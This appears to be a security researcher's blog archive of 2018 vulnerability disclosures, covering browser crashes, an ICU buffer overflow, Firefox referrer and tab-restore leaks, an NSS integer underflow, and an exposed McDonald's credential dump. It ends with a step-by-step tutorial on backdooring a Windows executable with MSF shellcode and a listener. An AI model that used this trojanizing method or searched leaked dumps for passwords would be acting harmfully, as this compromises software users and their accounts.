[New Thread 0x7fffdcdd5700 (LWP 2282)]
[New Thread 0x7fffd7fff700 (LWP 2283)]
[New Thread 0x7fffd77fe700 (LWP 2284)]
[New Thread 0x7fffd6ffd700 (LWP 2285)]
[New Thread 0x7fffd67fc700 (LWP 2286)]
[New Thread 0x7fffd5b8c700 (LWP 2287)]
[New Thread 0x7fffd538b700 (LWP 2288)]
[New Thread 0x7fff8f486700 (LWP 2294)]
[New Thread 0x7fff8da1e700 (LWP 2304)]
[New Thread 0x7fff8d21d700 (LWP 2305)]
[New Thread 0x7fff8ea7f700 (LWP 2315)]
[Thread 0x7fffd5b8c700 (LWP 2287) exited]
[Thread 0x7fffd67fc700 (LWP 2286) exited]

Thread 15 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ea7f700 (LWP 2315)]
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#0  0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
#1  0x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0
#2  0x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#3  0x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#4  0x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463
#5  0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb)
It crashes when JS opens an invalid URI and CVE-2018-11396 was assign to this issue. If you have not tried BFuzz yet, do have a look and please feel to PR and contribute more in it.  PS: BFuzz in action, video PoC

Mention's:
A shoutout to Zubin and Hardik (Teamw00t) we work together to find security bugs, Hope you like the read.



Regards
Dhiraj (Teamw00t)

Wednesday, 16 May 2018

Bufferoverflow() in ICU4C

Hi Internet,

This blog is a part of contribution in International Components for Unicode (ICU4C), We have added support for, check bufferoverflow() in ICU4C, (sprintf without bounds)

While going through the source code of nodejs, specifically file pkgdata.cpp#L911-L915

Vulnerable Code:
#else 
         sprintf(libFileNames[LIB_FILE], "%s%s", 
                 pkgDataFlags[LIBPREFIX], 
                 libName); 
#endif 

The above code does not check for buffer overflows() which is CWE-120 a classic buffer overflow. we were still not clear with the attack vector over here but still submitted an issue in nodejs.

With in an hour this issue was mark as `intl` which means this issue is related to i18n implementation i.e  ICU, TextEncoder/TextDecoder.

We started google-ing more about ICU, here is the wiki page and home page for same, so ICU is a package which is used in most of the application apart from nodejs, such as applications developed by google, apple, GNU and much more.... (Whoooaaaa! 😱)

Many thanks to Steven R. Loomis who confirmed this is a bug and dosen't checks for buffer overflow, but their are if's and but's to cause an overflow here.

Steven say's:
  • This code is in tooling - it's used sometimes at build time (may not be hit in a default node build)
  • I don't think there is an option even to node's ./configure that could cause an overflow here. It is at least unlikely.
We confirmed the same in current ICU source.
Actually our best practice is to use C++ objects (std::string or equivalent) and avoid this kind of buffer manipulation entirely.

And he filed an upstream bug in ICU project as well, Thank you Steven 😇 However, We have requested a CVE for this bug and its in process.

Assumption:
The only impact of the issue is that, if a local user chooses to specify long strings containing shellcode when building any package, they can attack themselves by executing arbitrary code in the context of their own user account.

Mention's:

A shoutout to Zubin and Hardik (Teamw00t) we worked together to find this bug, Hope you like the read.



Regards
Dhiraj (Teamw00t)

Saturday, 28 April 2018

Facebook, Friend or Evil ?

Hi Internet,

Summary:
During checkout from faasos, I observed that their are several request going to facebook, which carries your faasos detail's without user's consent, Facebook closed my report saying "Unfortunately what you have described is not currently covered by this program, We will follow up with you regarding any questions we may have." (Data Abuse BBP).
Img Src: https://swaggyimages.com/devil/devil-images-for-facebook/
So, lets get started,
You will be aware with the "Cambridge Analytica" case of Facebook,  and after that Facebook launched "Data Abuse Bounty Program" - 9th April 2018.

Well, we all are aware that we have been tracked from years! Whatever we search on the Internet no matter what object it is, in a day or hours it will be on your suggestion or any advertisement banner.

This is the most recent example : Google is always listening: Live Test

I really love eating veg warps from faasos and it was normal day when I did checkout and ordered few of them, however I have a very bad habit of capturing packets.

What I observed was, there were few `GET` & `POST` request of facebook as well in between checkout of faasos at that time I didn't pay much attention on it. On same day, I created a test account on faasos to dig more and clicked on some random wraps, went till checkout and guess what I was still able to see those Facebook request.

I cleared all my history, cookies etc. for the entire day, and thought of doing again, All the request start from login to faasos, and browsing your items in it.

Goes only to `*faasos.io` based asset but as soon as you press checkout a `GET` request goes to Facebook which carries my juicy information of faasos which also include my ordering details.(Strange) Apart from that, I start getting suggestion on my facebook wall regarding faasos.

Okay, then I thought of reporting it to Facebook under Data Abuse Bounty Program and we had a long discussion about this, they(Facebook Security Team) also told me to connect with Faasos Security team and I did the same.

However Faasos security team are not much active but they finally replied me after 4-5 days saying
"Hey Dhiraj, This tool helps us understand customer better and show them more appropriate adverts."

I asked them specifically about tool and where it is been deployed and what all it collects - No reply yet, that's bad I "personally"  feel Faasos been a data-broker over here. While collecting such info Faasos don't even take user's consent. I have seen many application's which take users consent for such things.
The image might not be clear please visit : https://konqueror.org/features/browser.php
And they also offer you to Opt-out from not been track. Pheewww! Now, I understand how all these things work!
That gives lot more understanding of my bug as well, or specifically look the above video from 3.47.25 to 3.51.40 Mins.

On safer side, I would suggest you to enable "Do Not Track Me" on your browser.
Video PoC of my Bug: Facebook Tracking PoC via Faasos.  I hope you like the read. Tweet me your views @mishradhiraj_

Regards
Dhiraj

Wednesday, 14 March 2018

Information Leakage Through Child Tab - Mozilla

Hi Internet,

This bug was marked as RESOLVED and WONTFIX by Mozilla team but it was a good finding and learning for me hope you enjoy the read.
PS: The below issue also work when you are in "Incognito Mode/Private Browsing"
Summary:
You just need to press SHIFT+CTRL+N to restore your session even if you have closed your child tab in Mozilla browser, I may not be able to explain well but here is what i got.

The application which have some services which opens in child tab (Using Auth) and once the user perform his/her activity, and logout from the session or close the child tab, still by pressing SHIFT+CTRL+N open's up the same child tab with information which was feed by the above user, without providing any user creds.

Example 1:
1. Login to blogger.com
2. Navigate to Layout
3. Edit any gadgets from it (Its opens up a child tab)
4. Close the child tab, Logout from Gmail
5. Press SHIFT+CTRL+N you will be able to see the above child tab

Impact and Assumption:
Information leakage, lets suppose a scenario where user feed his/her credit card details or such in child tab. I am not sure, by pressing SHIFT+CTRL+N something like this should happen or not or its working as intended.

Mozilla says:
We allow you to undo close tab in private browsing, so undo'ing closing a window seems straightforward as something we will want to continue doing. Certainly I don't think this is a security issue that needs to stay hidden. The website could defend against this type of thing by checking login state when a page loads.

But, I browsed to many famous services offered over the Internet and this perfectly works over there and application directly allows you to restore back with your session from where you left, Obviously we can't perform any dynamic activity but can view data.

Example 2:
This is one of the well know bank in India which allows users to do netbanking but opens the login portal in child tab,
I logged in as genuine user performed my activity and closed my child tab, hence forth just press SHIFT+CTRL+N and your session will be restored back.

Now, this bank uses only POST method so when I clicked SHIFT+CTRL+N it gave me error of HTTP Method, well I just went to network tab and send the response again in POST method and guess what it gave me 200 OK and response was perfectly shown from where I left.

Here is an example javascript which open Facebook in child tab.

Regards
Dhiraj

Monday, 5 March 2018

Thankyou McDonald for free cookies

Hi Internet,

Summary:
Pwing McDonald's  in 3 step and getting access to 5000+ usernames and passwords of McDonald's users. Hope you like the read..
Img Src: https://www.creativebloq.com/logo-design/mcdonalds-logo-short-11135325

Abstract:

Well, finding this bug was not a pain it was simple, and if you are not aware www.mcdelivery.co.in is under bug bounty program.

Lets Get Started :
As usual i started with sub-domain enumeration where I got a  subdomain (email.mcdelivery.co.in) which was not hosting any services for customers. Moving further I ran dirsearch on same, and  got 200 OK @ (email.mcdelivery.co.in/dump.tar.gz) (Looks like some kind of backup for McDelivery).

FYI
Okay so, extracting the tar file made me concluded it's actual a backup of McDelivery which consists of many things such as their DB, Website Backup's and many other juicy information. (Still I feel there must me something more...)

Lets Do Some Old School Tricks :
Why not simply do keyword search in entire dump file using grep
Then come's the results, their were multiple files having match of keyword "password" but then there was an excel sheet as well which I couldn't find during my manual search (GUI based).
The excel file had ~ (tilde) symbol after extension, obviously askubuntu have an answer for this. Anyways, guess what the excel sheet had username, email ID and password's !!!
and the count goes on .....

Big deal huhh !

Quick Flash :
25th February 2018: Informed McDonald's
26th February 2018: McDonald's Acknowledged 
28th February 2018: Reminder sent to McDonald's
28th February 2018: McDonald's Escalated Internally
28th February 2018: Issue Resolved




Regards
Dhiraj

Wednesday, 7 February 2018

SOP Bypass using rel="noreferrer"

Hi Internet,

A bug that affects "Million people" this bug was marked as DUPLICATE and RESOLVED by Mozilla team but it was a good finding and learning for us (Robin Divino and Me) hope you enjoy the read.

Summary:

By default, any websites is passing the whole URL to any external domain (un-trusted third party domains) when the request was crossing between 2 domains, means if the user clicks an external link to a specific website, the whole URL will pass to the request header as part of a what we called Referer header.

But many of the websites URL parameters value contains sensitive user information/data such as Password reset token, OAuth token, Email address and many more, therefor website owners use a what we called rel attribute on the html code with the value of noreferrer to avoid leaking sensitive data to external domains.

However, we have found that the Firefox quantum seems ignoring the rel="noreferrer" attribute of an <a> tag which will put quantum users in risk.

For example:

HackerOne application (http://hackerone.com/) is strict when it comes to information sharing , because they do not allow anyone from third party domains to have access to hackerone users informations, because of that hackerone footer twitter external link contains the following code:

<a class="footer-nav-item-link icon-share-twitter" href="https://twitter.com/hacker0x01" target="_blank" rel="noreferrer noopener"></a>

When we click on the external twitter link and capture the request, the request header still contains referrer header that contains the full URL.

Steps To Reproduce:

1. Find any website page that contains external link (e.g twitter, facebook, etc.) most of the external link will be found on the footer as part  of their social link ads.

2. Make sure that the external link you found have a rel="noreferrer" attribute on its <a> tag or similar to what i have mentioned above in case of hackerone footer.

3. Click the external link and capture the request using burpsuite.

4. Observed the request header still have referer header despite the website owner put a rel="noreferrer" on their <a> tag that contains hyper-link to external domains.



Impact:

Massive information leakage of FF users without their knowledge :(


Regards
Dhiraj

Monday, 5 February 2018

Integer Underflow to RCE in Firefox

Hi Internet,

A 750$ bug :P Lets get started.

Underflow:
If the integer value used is less than the minimum signed or unsigned int. This is called an underflow and will also trigger a segmentation fault.

Summary of this issue:
Before this change, if the metadata for a dbm-format certificate (or presumably key) database were corrupted, ugly_split could do an unchecked subtraction resulting in unsigned integer underflow, and would attempt to operate on something it thought was very big, resulting in (at least) an out-of-bounds.

How I started :
I was using nginx server with HTTPS which host's nothing, however adding a certificate exception every time crashes my FF in Linux, but does not crashes in windows. Then i taught of running FF in debug mode to see where the crash happens

GDB Log :
(gdb) bt
#0  0x00007fffcf4a4c56 in ?? () from /usr/lib/firefox/libnssdbm3.so
#1  0x00007fffcf4a7a60 in ?? () from /usr/lib/firefox/libnssdbm3.so
#2  0x00007fffcf4a63fe in ?? () from /usr/lib/firefox/libnssdbm3.so
#3  0x00007fffcf4a7d1f in ?? () from /usr/lib/firefox/libnssdbm3.so
#4  0x00007fffcf4a7e32 in ?? () from /usr/lib/firefox/libnssdbm3.so
#5  0x00007fffcf4a9046 in ?? () from /usr/lib/firefox/libnssdbm3.so
#6  0x00007fffcf4b599a in ?? () from /usr/lib/firefox/libnssdbm3.so
#7  0x00007fffcf4b602a in ?? () from /usr/lib/firefox/libnssdbm3.so
#8  0x00007fffcf4b87c6 in ?? () from /usr/lib/firefox/libnssdbm3.so
#9  0x00007fffcf4b8d94 in ?? () from /usr/lib/firefox/libnssdbm3.so
#10 0x00007fffcf4b8e40 in ?? () from /usr/lib/firefox/libnssdbm3.so
#11 0x00007fffcf4b08ee in ?? () from /usr/lib/firefox/libnssdbm3.so
#12 0x00007fffcf6eb12f in ?? () from /usr/lib/firefox/libsoftokn3.so
#13 0x00007fffcf6eb6f5 in ?? () from /usr/lib/firefox/libsoftokn3.so
#14 0x00007fffcf6d4321 in ?? () from /usr/lib/firefox/libsoftokn3.so
#15 0x00007fffcf6d746f in ?? () from /usr/lib/firefox/libsoftokn3.so
#16 0x00007ffff597120d in ?? () from /usr/lib/firefox/libnss3.so
#17 0x00007ffff5972261 in ?? () from /usr/lib/firefox/libnss3.so
#18 0x00007ffff598206e in PK11_ImportCert () from /usr/lib/firefox/libnss3.so
#19 0x00007fffe949d431 in ?? () from /usr/lib/firefox/libxul.so
#20 0x00007fffe67bc232 in ?? () from /usr/lib/firefox/libxul.so
#21 0x00007fffe6f1eeac in ?? () from /usr/lib/firefox/libxul.so
#22 0x00007fffe6f23c76 in ?? () from /usr/lib/firefox/libxul.so
#23 0x00007fffe9835da8 in ?? () from /usr/lib/firefox/libxul.so
#24 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#25 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#26 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#27 0x00007fffe98365f2 in ?? () from /usr/lib/firefox/libxul.so
#28 0x00007fffe9b1a311 in ?? () from /usr/lib/firefox/libxul.so
#29 0x00007fffe7b12cf5 in ?? () from /usr/lib/firefox/libxul.so
#30 0x00007fffe7dba6b6 in ?? () from /usr/lib/firefox/libxul.so
#31 0x00007fffe7dc0498 in ?? () from /usr/lib/firefox/libxul.so
#32 0x00007fffe7dc0cda in ?? () from /usr/lib/firefox/libxul.so
#33 0x00007fffe7d9ff82 in ?? () from /usr/lib/firefox/libxul.so
#34 0x00007fffe7da3bae in ?? () from /usr/lib/firefox/libxul.so
#35 0x00007fffe7da3eae in ?? () from /usr/lib/firefox/libxul.so
#36 0x00007fffe8799edc in ?? () from /usr/lib/firefox/libxul.so
#37 0x00007fffe73c0177 in ?? () from /usr/lib/firefox/libxul.so
#38 0x00007fffe899c084 in ?? () from /usr/lib/firefox/libxul.so
#39 0x00007fffe899c3cb in ?? () from /usr/lib/firefox/libxul.so
#40 0x00007fffe7da0330 in ?? () from /usr/lib/firefox/libxul.so
---Type <return> to continue, or q <return> to quit---
#41 0x00007fffe7da3bae in ?? () from /usr/lib/firefox/libxul.so
#42 0x00007fffe878f8f2 in ?? () from /usr/lib/firefox/libxul.so
#43 0x00007fffe87b3545 in ?? () from /usr/lib/firefox/libxul.so
#44 0x00007fffe87b6554 in ?? () from /usr/lib/firefox/libxul.so
#45 0x00007fffe7d85a3f in ?? () from /usr/lib/firefox/libxul.so
#46 0x00007fffe7d85c94 in ?? () from /usr/lib/firefox/libxul.so
#47 0x00007fffe7d8a1c8 in ?? () from /usr/lib/firefox/libxul.so
#48 0x00007fffe87b3591 in ?? () from /usr/lib/firefox/libxul.so
#49 0x00007fffe87b3f70 in ?? () from /usr/lib/firefox/libxul.so
#50 0x00007fffe87b6291 in ?? () from /usr/lib/firefox/libxul.so
#51 0x00007fffe853096f in ?? () from /usr/lib/firefox/libxul.so
#52 0x00007fffe853259a in ?? () from /usr/lib/firefox/libxul.so
#53 0x00007fffe856e496 in ?? () from /usr/lib/firefox/libxul.so
#54 0x00007fffe85392dd in ?? () from /usr/lib/firefox/libxul.so
#55 0x00007fffe8575a72 in ?? () from /usr/lib/firefox/libxul.so
#56 0x00007fffe8575b47 in ?? () from /usr/lib/firefox/libxul.so
#57 0x00007ffff48d8fac in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#58 0x00007ffff1d91fa5 in g_closure_invoke () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#59 0x00007ffff1da3fc1 in ?? () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#60 0x00007ffff1dac7f9 in g_signal_emit_valist () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#61 0x00007ffff1dad08f in g_signal_emit () from /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0
#62 0x00007ffff4a16c3c in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#63 0x00007ffff4a36dd3 in ?? () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#64 0x00007ffff48d81e8 in gtk_main_do_event () from /usr/lib/x86_64-linux-gnu/libgtk-3.so.0
#65 0x00007ffff4445d92 in ?? () from /usr/lib/x86_64-linux-gnu/libgdk-3.so.0
#66 0x00007ffff1abb197 in g_main_context_dispatch () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#67 0x00007ffff1abb3f0 in ?? () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#68 0x00007ffff1abb49c in g_main_context_iteration () from /lib/x86_64-linux-gnu/libglib-2.0.so.0
#69 0x00007fffe8590d6f in ?? () from /usr/lib/firefox/libxul.so
#70 0x00007fffe855a852 in ?? () from /usr/lib/firefox/libxul.so
#71 0x00007fffe855aa12 in ?? () from /usr/lib/firefox/libxul.so
#72 0x00007fffe67b54e5 in ?? () from /usr/lib/firefox/libxul.so
#73 0x00007fffe67b0498 in ?? () from /usr/lib/firefox/libxul.so
#74 0x00007fffe9385cd5 in ?? () from /usr/lib/firefox/libxul.so
#75 0x00007fffe965e09e in ?? () from /usr/lib/firefox/libxul.so
#76 0x00007fffe965eb20 in ?? () from /usr/lib/firefox/libxul.so
#77 0x00007fffe73ff615 in ?? () from /usr/lib/firefox/libxul.so
#78 0x00007fffe73ffc2f in ?? () from /usr/lib/firefox/libxul.so
#79 0x00007fffe73ffd9f in ?? () from /usr/lib/firefox/libxul.so
#80 0x00007fffe7a3f343 in ?? () from /usr/lib/firefox/libxul.so
#81 0x00007fffe7997068 in ?? () from /usr/lib/firefox/libxul.so
---Type <return> to continue, or q <return> to quit---
#82 0x00007fffe9835da8 in ?? () from /usr/lib/firefox/libxul.so
#83 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#84 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#85 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#86 0x00007fffe9828cbe in ?? () from /usr/lib/firefox/libxul.so
#87 0x00007fffe9835af4 in ?? () from /usr/lib/firefox/libxul.so
#88 0x00007fffe9835ee9 in ?? () from /usr/lib/firefox/libxul.so
#89 0x00007fffe98365f2 in ?? () from /usr/lib/firefox/libxul.so
#90 0x00007fffe9b1a613 in ?? () from /usr/lib/firefox/libxul.so
#91 0x00007fffe73e7902 in ?? () from /usr/lib/firefox/libxul.so
#92 0x00007fffe73e6b33 in ?? () from /usr/lib/firefox/libxul.so
#93 0x00007fffe73e6b33 in ?? () from /usr/lib/firefox/libxul.so
#94 0x00007fffe73e7eb4 in ?? () from /usr/lib/firefox/libxul.so
#95 0x00007fffe8337b24 in ?? () from /usr/lib/firefox/libxul.so
#96 0x00007fffe83382d1 in ?? () from /usr/lib/firefox/libxul.so
#97 0x00007fffe6dc2004 in ?? () from /usr/lib/firefox/libxul.so
#98 0x00007fffe6e43ca6 in ?? () from /usr/lib/firefox/libxul.so
#99 0x00007fffe6bb9d7f in ?? () from /usr/lib/firefox/libxul.so
#100 0x00007fffe6bc1b6b in ?? () from /usr/lib/firefox/libxul.so
#101 0x00007fffe6bc345d in ?? () from /usr/lib/firefox/libxul.so
#102 0x00007fffe67b5625 in ?? () from /usr/lib/firefox/libxul.so
#103 0x00007fffe67b0498 in ?? () from /usr/lib/firefox/libxul.so
#104 0x00007fffe6bb2b91 in ?? () from /usr/lib/firefox/libxul.so
#105 0x00007fffe6b88c7d in ?? () from /usr/lib/firefox/libxul.so
#106 0x00007fffe8555de8 in ?? () from /usr/lib/firefox/libxul.so
#107 0x00007fffe95f84de in ?? () from /usr/lib/firefox/libxul.so
#108 0x00007fffe968a13f in ?? () from /usr/lib/firefox/libxul.so
#109 0x00007fffe968b17a in ?? () from /usr/lib/firefox/libxul.so
#110 0x00007fffe968b5f6 in ?? () from /usr/lib/firefox/libxul.so
#111 0x000055555555a745 in ?? ()
#112 0x0000555555559d5c in ?? ()
#113 0x00007ffff6d64830 in __libc_start_main (main=0x555555559cf0, argc=2, argv=0x7fffffffddf8,init=<optimized out>,
fini=<optimized out>,rtld_fini=<optimized out>, stack_end=0x7fffffffdde8) at ../csu/libc-start.c:291
#114 0x000055555555a079 in _start ()
(gdb)

Okay, it was causing a crash while adding certificate which gave me an hint that this bug will come under  crypto-core-security in Firefox. Moving forward i report this to Mozilla. However i noticed that if i create a new profile in FirefoxESR (i.e. go to "about:profiles", "create new profile"/"launch profile in new browser") and add the same certificate it didn't cause a crash.

So it seems like there's something specific to my profile that's causing this underflow, Moving further David Keeler and me analyze cert8.db file to check for the root cause of this bug.

Where cert8.db file consists of security certificates stored separately from the Operating System. sometimes the certificate store can become corrupted.
After taking a look on cert8.db looks like something caused my certificate database to be corrupted :(

Because the legacy certificate database implementation was written before the dawn of time, there are places where it's not very careful about its inputs. In particular, it looks like if some database metadata gets corrupted, ugly_split will do an unchecked subtraction and try to operate on data it thinks is very large:

h_page.c:485

        off = hashp->BSIZE;
        for (n = 1; (n < ino[0]) && (ino[n + 1] >= REAL_KEY); n += 2) {
            cino = (char *)ino;
            key.data = (uint8 *)cino + ino[n];
A           key.size = off - ino[n];
            val.data = (uint8 *)cino + ino[n + 1];
            val.size = ino[n] - ino[n + 1];
            off = ino[n + 1];

B           if (__call_hash(hashp, (char *)key.data, key.size) == obucket) {


At A, we have no guarantee that off >= ino[n], so at B we pass in a very large value for the size of the key.

Mozilla Security Team change risk from None to Moderate (sec-moderate) based on that this would require modifying the user's profile on-disk to exploit.

PS: I tried exploiting this using ncat with SSL but the session is not stable and it dies.

Issue Reported: 19-11-2017
Fixed Released: 05- 12-2017
Awarded with 750$ 


For everyone who might need a better understanding of how this bug works and how it can be exploited, read further.

My Assumption:
As stated in the blog, a corruption in cert8.db causes this crash, and every beginner in BOF knows crash is how we fuzz to create an exploit.
Since there is no check in the value of the variable 'off' any overwrite can make the value of 'off' to be set lower than ino[n] resulting in the crash.
Assuming 'hashp' is a pointer to a buffer size or memory address, a lower or negative value of 'off' may be result of getting higher memory address value from the stack thus setting key.size to much greater and when you have crashes and deals with memory there is high chances that this can be taken advantage to inject shell code into memory to execute.
For now what I tired was adding a shell code in h_page.c with a handler but established connection was not stable, I am sure a more experienced exploit writer can get a reverse shell by overwriting the cert8.db


Regards
Dhiraj

Friday, 26 January 2018

Backdooring Windows Binary

Hi Internet,

I saw multiple methods from may researches specifically, the one who are done with OSCE, Moving further I decided to do the same and successfully replicated. I’m not much of a windows exploit kind of guy, I deal more in browser based exploitation but I have cribbed from the work of other security researchers and their are already many such posts on this. In this example I have used Putty probably you can use any executable's, you can download putty from here.

I add a new code section to the executable using any PE editor such as LordPE.

Remember to allocate enough space, I have allocated 1000 bytes to the .NewSec section in this case the application will not run proper the, open the modified binary in a hex editor and allocate the 1000 byte value at the end of the file.
Save the binary, and the application now runs normally, Open this binary in any debugger and notice the first five instructions in the application copy paste that somewhere we need them.

In the debugger, open the ‘memory view’ to view the address of .NewSec
In my case the memory address was 00376000. We want the code execution of the binary to jump to this address, as this is where we will be placing our shellcode.

Double-click the newly modified instruction to move to the .NewSec section. You should see a lot of free space. Then, we proceed to add 2 instructions which is  PUSHAD, PUSHFD to ‘preserve’ the current registers and flags.

Now that we have push the current registers to the stack, we can start adding the shellcode from address 00376000 onwards. The shell code can be generated using MSF.
Paste the shellcode as ‘binary paste’ in the debugger from address 00376000 and you are all set.
Save the changes and try running the executable and do not forget to setup listener, if our evilness works perfectly we should get shell in the box.

I have crated a Video POC using cmd.exe which implemented by Microsoft through Win32 console.



You can use Backdoor factory or MSF to backdoor windows based exe's


Regards
Dhiraj